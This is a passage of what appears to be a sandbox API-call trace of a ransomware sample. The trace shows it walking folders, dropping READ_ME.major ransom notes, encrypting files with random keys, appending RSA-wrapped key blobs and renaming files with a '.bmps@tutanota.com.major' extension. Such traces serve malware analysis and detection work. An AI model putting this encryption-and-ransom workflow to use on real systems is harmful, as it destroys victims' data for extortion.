RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x631640 [0152.956] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631640 | out: hHeap=0x570000) returned 1 [0152.956] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40600 [0152.956] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40600 | out: hHeap=0x570000) returned 1 [0152.956] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc940 | out: hHeap=0x570000) returned 1 [0152.956] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4128 | out: hHeap=0x570000) returned 1 [0152.956] FindNextFileW (in: hFindFile=0x631780, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2652a95, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d5efa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1593bf8f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0152.957] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d07f0 | out: hHeap=0x570000) returned 1 [0152.957] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c78d0 [0152.957] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b70e0 [0152.957] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c78d0 | out: hHeap=0x570000) returned 1 [0152.957] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0b10 [0152.957] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b70e0 | out: hHeap=0x570000) returned 1 [0152.957] GetLastError () returned 0x0 [0152.957] SetLastError (dwErrCode=0x0) [0152.957] GetLastError () returned 0x0 [0152.957] SetLastError (dwErrCode=0x0) [0152.957] GetLastError () returned 0x0 [0152.957] SetLastError (dwErrCode=0x0) [0152.957] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0152.957] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5befd0 [0152.957] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0152.957] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc940 [0152.957] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x631180 [0152.957] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631180 | out: hHeap=0x570000) returned 1 [0152.957] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e403f0 [0152.957] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e403f0 | out: hHeap=0x570000) returned 1 [0152.957] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc940 | out: hHeap=0x570000) returned 1 [0152.957] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0152.957] FindNextFileW (in: hFindFile=0x631780, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2678ce4, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d6870, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2678ce4, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="packages", cAlternateFileName="")) returned 1 [0152.957] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0b10 | out: hHeap=0x570000) returned 1 [0152.957] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c79a8 [0152.957] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6f48 [0152.957] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c79a8 | out: hHeap=0x570000) returned 1 [0152.957] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d07f0 [0152.957] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6f48 | out: hHeap=0x570000) returned 1 [0152.957] GetLastError () returned 0x0 [0152.957] SetLastError (dwErrCode=0x0) [0152.958] GetLastError () returned 0x0 [0152.958] SetLastError (dwErrCode=0x0) [0152.958] GetLastError () returned 0x0 [0152.958] SetLastError (dwErrCode=0x0) [0152.958] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccc10 [0152.958] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccc38 [0152.958] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccc10 | out: hHeap=0x570000) returned 1 [0152.958] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0ef8 [0152.958] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cca80 [0152.958] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0020 [0152.958] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d1c0 [0152.958] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d250 [0152.958] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7b58 [0152.958] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0152.958] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d08b8 [0152.958] SetLastError (dwErrCode=0x0) [0152.958] GetLastError () returned 0x0 [0152.958] SetLastError (dwErrCode=0x0) [0152.958] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x5bd3b8 [0152.958] SetLastError (dwErrCode=0x0) [0152.958] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x5b11f0 [0152.958] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\READ_ME.major" (normalized: "c:\\users\\all users\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x68c [0152.959] WriteFile (in: hFile=0x68c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0152.959] CloseHandle (hObject=0x68c) returned 1 [0152.960] FindNextFileW (in: hFindFile=0x631780, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1593bf8f, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x1593bf8f, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x1593bf8f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0152.960] SetLastError (dwErrCode=0x0) [0152.960] GetLastError () returned 0x0 [0152.960] SetLastError (dwErrCode=0x0) [0152.960] GetLastError () returned 0x0 [0152.960] SetLastError (dwErrCode=0x0) [0152.960] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc940 [0152.960] FindNextFileW (in: hFindFile=0x631780, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1593bf8f, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x1593bf8f, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x1593bf8f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0152.960] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x58eda0 [0152.960] FindFirstFileW (in: lpFileName="\\Users\\All Users\\USOPrivate\\UpdateStore\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1931975, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x94667e4, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x15b28d00, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x631480 [0152.960] SetLastError (dwErrCode=0x12) [0152.960] GetLastError () returned 0x12 [0152.960] SetLastError (dwErrCode=0x12) [0152.960] GetLastError () returned 0x12 [0152.960] SetLastError (dwErrCode=0x12) [0152.960] FindNextFileW (in: hFindFile=0x631480, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1931975, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x94667e4, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x15b28d00, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0152.960] SetLastError (dwErrCode=0x12) [0152.960] GetLastError () returned 0x12 [0152.960] SetLastError (dwErrCode=0x12) [0152.960] GetLastError () returned 0x12 [0152.960] SetLastError (dwErrCode=0x12) [0152.961] FindNextFileW (in: hFindFile=0x631480, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15b28d00, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x15b28d00, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x15b28d00, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0152.961] SetLastError (dwErrCode=0x12) [0152.961] GetLastError () returned 0x12 [0152.961] SetLastError (dwErrCode=0x12) [0152.961] GetLastError () returned 0x12 [0152.961] SetLastError (dwErrCode=0x12) [0152.961] FindNextFileW (in: hFindFile=0x631480, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc9086d4, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0xdc9086d4, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0xdc9086d4, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="UpdateCspStore.xml", cAlternateFileName="UPDATE~2.XML")) returned 1 [0152.961] SetLastError (dwErrCode=0x12) [0152.961] GetLastError () returned 0x12 [0152.961] SetLastError (dwErrCode=0x12) [0152.961] GetLastError () returned 0x12 [0152.961] SetLastError (dwErrCode=0x12) [0152.961] FindNextFileW (in: hFindFile=0x631480, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1957bdd, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x91de04f, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x941a322, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0xcb3, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml", cAlternateFileName="UPDATE~1.XML")) returned 1 [0152.961] SetLastError (dwErrCode=0x12) [0152.961] GetLastError () returned 0x12 [0152.961] SetLastError (dwErrCode=0x12) [0152.962] SetLastError (dwErrCode=0x12) [0152.962] FindNextFileW (in: hFindFile=0x631480, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1957bdd, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x91de04f, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x941a322, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0xcb3, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml", cAlternateFileName="UPDATE~1.XML")) returned 0 [0152.962] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0152.962] SetFileAttributesW (lpFileName="\\Users\\All Users\\USOPrivate\\UpdateStore\\updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml", dwFileAttributes=0x80) returned 1 [0152.962] CreateFileW (lpFileName="\\Users\\All Users\\USOPrivate\\UpdateStore\\updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml" (normalized: "c:\\users\\all users\\usoprivate\\updatestore\\updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x690 [0152.962] GetFileSizeEx (in: hFile=0x690, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=3251) returned 1 [0152.962] ReadFile (in: hFile=0x690, lpBuffer=0x2f60050, nNumberOfBytesToRead=0xcb3, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f60050*, lpNumberOfBytesRead=0x2e3f9b4*=0xcb3, lpOverlapped=0x0) returned 1 [0152.963] SetFilePointer (in: hFile=0x690, lDistanceToMove=-3251, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0152.963] WriteFile (in: hFile=0x690, lpBuffer=0x6528a8*, nNumberOfBytesToWrite=0xcb3, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6528a8*, lpNumberOfBytesWritten=0x2e3f9b4*=0xcb3, lpOverlapped=0x0) returned 1 [0152.964] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f60050 | out: hHeap=0x570000) returned 1 [0152.964] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6528a8 | out: hHeap=0x570000) returned 1 [0152.964] SetFilePointer (in: hFile=0x690, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xcb3 [0152.964] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0152.964] WriteFile (in: hFile=0x690, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0152.964] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0152.964] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0152.964] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0152.964] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0152.964] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="ayGYJkZUZnDcQOcAJYZRRjjZXTcF0RpxvAjsvG23/nsuQP5UEgmfuVPsODTzrRO1\n7mn7m8pqesXmj6tFdgP5b61+DR8kUB1d/8NDIbL6dAL22aoQcYy1i9A9vEP8xpOM\nPrpL9rkDHLl62OuWUWFCCBO/fwbGuBYhYKln38dRg8mo65CAIBeshmRWI4FKSHfE\nwILY1tmVd8Kzz9ypCQ41ROytE63dO/toqOL9tPu4b/bDLcIWmAZ8dPqqBpBTC+2L\nGGQiVXPQbew4D+Qx5/F5ORHi/FgGSQo4e3fHeAuzRAYtml89L4yx7WT2fog8sv5Z\nwv0w6I//NFBvxh8zl10piA==\n", pcchString=0x2e3f9a8) returned 1 [0152.964] WriteFile (in: hFile=0x690, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0152.965] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0152.965] WriteFile (in: hFile=0x690, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0152.965] CloseHandle (hObject=0x690) returned 1 [0152.965] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0152.965] MoveFileExW (lpExistingFileName="\\Users\\All Users\\USOPrivate\\UpdateStore\\updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml" (normalized: "c:\\users\\all users\\usoprivate\\updatestore\\updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml"), lpNewFileName="\\Users\\All Users\\USOPrivate\\UpdateStore\\updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\all users\\usoprivate\\updatestore\\updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0152.968] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bd3b8 | out: hHeap=0x570000) returned 1 [0152.968] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc940 | out: hHeap=0x570000) returned 1 [0152.968] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d07f0 | out: hHeap=0x570000) returned 1 [0152.968] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0020 | out: hHeap=0x570000) returned 1 [0152.968] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6b90 [0152.968] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc940 [0152.968] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0152.968] SetFileAttributesW (lpFileName="\\Users\\All Users\\USOPrivate\\UpdateStore\\UpdateCspStore.xml", dwFileAttributes=0x80) returned 1 [0152.970] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b70e0 [0152.970] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x5b0620 [0152.970] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b70e0 | out: hHeap=0x570000) returned 1 [0152.970] CreateFileW (lpFileName="\\Users\\All Users\\USOPrivate\\UpdateStore\\UpdateCspStore.xml" (normalized: "c:\\users\\all users\\usoprivate\\updatestore\\updatecspstore.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x690 [0152.970] GetFileSizeEx (in: hFile=0x690, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=26) returned 1 [0152.970] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1a) returned 0x5cccb0 [0152.970] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1a) returned 0x5ccc10 [0152.970] ReadFile (in: hFile=0x690, lpBuffer=0x5cccb0, nNumberOfBytesToRead=0x1a, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5cccb0*, lpNumberOfBytesRead=0x2e3f9b4*=0x1a, lpOverlapped=0x0) returned 1 [0152.971] SetFilePointer (in: hFile=0x690, lDistanceToMove=-26, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0152.971] WriteFile (in: hFile=0x690, lpBuffer=0x5ccc10*, nNumberOfBytesToWrite=0x1a, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5ccc10*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1a, lpOverlapped=0x0) returned 1 [0152.972] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cccb0 | out: hHeap=0x570000) returned 1 [0152.972] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccc10 | out: hHeap=0x570000) returned 1 [0152.972] SetFilePointer (in: hFile=0x690, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1a [0152.972] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0152.972] WriteFile (in: hFile=0x690, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0152.972] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0152.972] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0152.972] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0152.972] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0152.972] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="VWBSEgsajP69UJHs3+v4E1qp37IpBm00Dndv+qs47xe43Cg5lf/RNKrWSY40hJiY\n0aQDYyUcc7/4ex6QvN8HWSVJ0NqMyIhjbXefEnWeagoGCAk4fZUh/YEPadRMWF39\nJyJKBOtGGie+FCqzRFW2d1tklzQ9gOf96okRId/AdWhaZeRTXbSb2XFy9wVX2R7S\niw+ZdR/gbNmUK9WYlk3Na0h9fYmPjYbqbrr7zt9HwHC7h14aqRtCWbJWTi8WwtaG\nlQeu6UYyDoFJomgCoGKsJ5Yzse/6RtsxYEg3gysIR8b5HtKXRleI0ITmCiCf8AP2\nNjlE1E5Adtz7r6Ghf2Y9fg==\n", pcchString=0x2e3f9a8) returned 1 [0152.972] WriteFile (in: hFile=0x690, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0152.972] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0152.972] WriteFile (in: hFile=0x690, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0152.973] CloseHandle (hObject=0x690) returned 1 [0152.973] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0152.973] MoveFileExW (lpExistingFileName="\\Users\\All Users\\USOPrivate\\UpdateStore\\UpdateCspStore.xml" (normalized: "c:\\users\\all users\\usoprivate\\updatestore\\updatecspstore.xml"), lpNewFileName="\\Users\\All Users\\USOPrivate\\UpdateStore\\UpdateCspStore.xml.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\all users\\usoprivate\\updatestore\\updatecspstore.xml.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0152.974] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b0620 | out: hHeap=0x570000) returned 1 [0152.974] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc940 | out: hHeap=0x570000) returned 1 [0152.974] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6b90 | out: hHeap=0x570000) returned 1 [0152.974] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7410 | out: hHeap=0x570000) returned 1 [0152.974] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bef20 [0152.974] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eda0 | out: hHeap=0x570000) returned 1 [0152.974] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7600 | out: hHeap=0x570000) returned 1 [0152.975] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc800 | out: hHeap=0x570000) returned 1 [0152.975] FindFirstFileW (in: lpFileName="\\Users\\All Users\\USOShared\\Logs\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa4ade3, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd6790700, ftLastAccessTime.dwHighDateTime=0x1d50248, ftLastWriteTime.dwLowDateTime=0x15b28d00, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x631500 [0152.976] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0ca0 | out: hHeap=0x570000) returned 1 [0152.976] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7330 [0152.976] GetLastError () returned 0x0 [0152.976] SetLastError (dwErrCode=0x0) [0152.976] GetLastError () returned 0x0 [0152.976] SetLastError (dwErrCode=0x0) [0152.976] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7960 [0152.976] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7330 | out: hHeap=0x570000) returned 1 [0152.976] GetLastError () returned 0x0 [0152.976] SetLastError (dwErrCode=0x0) [0152.976] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40f0 [0152.976] 